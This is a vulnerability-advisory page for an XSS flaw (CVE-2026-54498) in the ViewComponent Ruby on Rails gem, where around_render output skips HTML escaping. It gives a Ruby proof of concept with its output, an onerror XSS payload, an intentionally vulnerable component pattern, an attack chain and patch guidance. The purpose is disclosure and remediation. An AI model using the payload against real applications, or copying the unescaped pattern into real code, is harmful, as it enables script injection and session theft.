Skip to main content

ViewComponent CVE-2026-54498

HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-07-15 https://github.com/ViewComponent/view_component GHSA-97jw-64cj-jc58
8.7
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
vuln.today AI
4.7 MEDIUM

Requires a non-default downstream pattern (around_render returning attacker data), so AC:H; unauthenticated attacker delivers payload but victim must view the page (PR:N/UI:R); XSS runs in the browser giving limited scope-changed confidentiality/integrity (S:C/C:L/I:L).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 15, 2026 - 23:16 vuln.today
Analysis Generated
Jul 15, 2026 - 23:16 vuln.today
CVE Published
Jul 15, 2026 - 22:51 github-advisory
HIGH 8.7

DescriptionGitHub Advisory

Summary

ViewComponent::Base#around_render can return HTML-unsafe strings that bypass the escaping behavior applied to normal #call return values. This creates an XSS risk when downstream applications use around_render to wrap, replace, instrument, or conditionally return content that includes user-controlled data.

The issue is especially dangerous in collection rendering because ViewComponent::Collection#render_in joins the per-item results and marks the entire output as html_safe, converting raw unsafe output into a trusted ActiveSupport::SafeBuffer.

Affected Code

Validated against:

  • Repository commit: eea79445
  • Ruby: 3.4.9

Relevant locations:

  • lib/view_component/base.rb
  • render_in
  • around_render
  • __vc_maybe_escape_html
  • lib/view_component/template.rb
  • InlineCall#safe_method_name_call
  • lib/view_component/collection.rb
  • Collection#render_in

Key code paths:

ruby
# lib/view_component/base.rb
around_render do
  render_template_for(@__vc_requested_details).to_s
end
ruby
# lib/view_component/template.rb
proc do
  __vc_maybe_escape_html(send(m)) do
    Kernel.warn(...)
  end
end
ruby
# lib/view_component/collection.rb
components.map do |component|
  component.render_in(view_context, &block)
end.join(rendered_spacer(view_context)).html_safe

Root Cause

Normal inline #call output is passed through __vc_maybe_escape_html, which escapes HTML-unsafe strings. However, when around_render itself returns a string, the returned value becomes the component render result without being passed through the same HTML-safety boundary.

This creates two different output-safety behaviors:

  • #call returning unsafe string: escaped
  • #around_render returning unsafe string: raw

Collection rendering then amplifies the issue by calling .html_safe on the joined result.

Proof of Concept

Run from the repository root:

ruby
$LOAD_PATH.unshift File.expand_path("lib", Dir.pwd)
require "action_controller/railtie"
require "rack/mock"
require "view_component/base"

class PocController < ActionController::Base; end

def vc
  c = PocController.new
  c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
  c.set_response!(ActionDispatch::Response.new)
  c.view_context
end

PAYLOAD = "<img src=x onerror=alert(1)>"

class UnsafeCallComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = @payload
end

class UnsafeAroundComponent < ViewComponent::Base
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

class UnsafeAroundCollectionComponent < ViewComponent::Base
  with_collection_parameter :payload
  def initialize(payload:) = @payload = payload
  def call = "SAFE"
  def around_render = @payload
end

view_context = vc

normal = UnsafeCallComponent.new(payload: PAYLOAD).render_in(view_context)
around = UnsafeAroundComponent.new(payload: PAYLOAD).render_in(view_context)
collection = UnsafeAroundCollectionComponent.with_collection([PAYLOAD]).render_in(view_context)

puts "normal_call=#{normal}"
puts "normal_call_raw=#{normal.include?(PAYLOAD)} html_safe=#{normal.html_safe?}"
puts "around_render=#{around}"
puts "around_render_raw=#{around.include?(PAYLOAD)} html_safe=#{around.html_safe?}"
puts "collection=#{collection}"
puts "collection_raw=#{collection.include?(PAYLOAD)} html_safe=#{collection.html_safe?}"

c = PocController.new
c.set_request!(ActionDispatch::Request.new(Rack::MockRequest.env_for("/poc")))
c.set_response!(ActionDispatch::Response.new)
out = c.render_to_string(UnsafeAroundComponent.new(payload: PAYLOAD))
puts "controller_render_to_string=#{out}"
puts "controller_raw=#{out.include?(PAYLOAD)} html_safe=#{out.html_safe?}"

Observed output:

text
normal_call=&lt;img src=x onerror=alert(1)&gt;
normal_call_raw=false html_safe=true
around_render=<img src=x onerror=alert(1)>
around_render_raw=true html_safe=false
collection=<img src=x onerror=alert(1)>
collection_raw=true html_safe=true
controller_render_to_string=<img src=x onerror=alert(1)>
controller_raw=true html_safe=false

The control case confirms that normal #call output is escaped. The around_render cases confirm that the same payload is emitted raw.

Exploit Scenario

A downstream application defines a component that uses around_render for tracing, layout wrapping, feature-flag fallback, error fallback, or instrumentation. If the hook returns a string containing request data, model attributes, CMS content, markdown output, or other attacker-controlled values, the value can be rendered as raw HTML.

Example vulnerable pattern:

ruby
class BannerComponent < ViewComponent::Base
  def initialize(message:)
    @message = message
  end

  def call
    "fallback"
  end

  def around_render
    "<div class=\"banner\">#{@message}</div>"
  end
end

If message is user-controlled, scriptable HTML reaches the browser.

Impact

Successful exploitation allows XSS in applications using affected components. Depending on application context, impact can include:

  • session or token theft where cookies/tokens are accessible
  • authenticated actions as the victim
  • CSRF bypass through same-origin script execution
  • exfiltration of page data
  • credential phishing or UI redress inside trusted application origin

The collection path is particularly risky because it converts the joined raw output to html_safe, which can suppress later escaping.

Preconditions

  • The application defines or uses a component overriding around_render.
  • around_render returns or wraps attacker-influenced HTML-unsafe content.
  • The component is rendered in a browser-visible response.
  • Higher impact when rendered through ViewComponent::Collection or controller/direct rendering.

Chaining Potential

This finding can chain with:

  • preview routes or examples that accept URL parameters and render components
  • unsafe markdown or CMS content rendered inside around_render
  • CSP-disabled preview routes
  • applications that expose admin-only pages containing affected components

Remediation

Apply the same HTML-safety enforcement to around_render return values that is applied to normal inline #call output.

Possible approaches:

  1. Wrap the result of around_render with __vc_maybe_escape_html when the current template is HTML.
  2. Require around_render to return an ActiveSupport::SafeBuffer to opt into raw HTML.
  3. In collection rendering, avoid blindly calling .html_safe on joined component outputs unless each item has been normalized through the same safety boundary.

AnalysisAI

Stored/reflected XSS in the ViewComponent Rails gem (versions >= 4.0.0, < 4.12.0) arises because HTML-unsafe strings returned from a component's around_render hook bypass the automatic escaping applied to normal #call output, letting attacker-controlled data reach the browser as raw HTML. The flaw is amplified in collection rendering, where Collection#render_in joins per-item output and blindly marks it html_safe, laundering unsafe content into a trusted SafeBuffer. …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Identify page rendering around_render component
Delivery
Craft HTML/script payload in user-controlled field
Exploit
Submit payload to reach around_render output
Execution
Server returns raw unescaped HTML
Persist
Victim loads page, script executes in origin
Impact
Session/token theft or authenticated actions

Vulnerability AssessmentAI

Exploitation Exploitation requires that the target application defines or uses a component overriding ViewComponent::Base#around_render, and that this hook returns or wraps HTML-unsafe content derived from attacker-influenced values (request parameters, model attributes, CMS/markdown content). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The supplied CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N, base 8.7) rates this High, but that score overstates real-world exploitability because it treats the flaw as if it always applies. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An application uses around_render in a component (e.g., a BannerComponent that returns "<div class=\"banner\">#{@message}</div>") for layout wrapping, feature-flag fallback, or instrumentation, and @message carries user-controlled data such as a request parameter or CMS field. An attacker supplies a payload like <img src=x onerror=alert(1)>, which the hook emits as raw HTML, executing script in the victim's browser under the application's origin. …
Remediation Vendor-released patch: 4.12.0 - upgrade the view_component gem to >= 4.12.0 (release https://github.com/ViewComponent/view_component/releases/tag/v4.12.0, fixing commit https://github.com/ViewComponent/view_component/commit/48e5fd2d602344c7d33019fbc5c8b087e315bb78), which now runs around_render return values through __vc_maybe_escape_html (emitting a warning) and switches Collection#render_in to safe_join so per-item output is escaped rather than laundered into a SafeBuffer. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit all Ruby on Rails applications to identify which systems use ViewComponent gem versions 4.0.0 through 4.11.x by checking Gemfile.lock and dependency manifests. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

Share

CVE-2026-54498 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy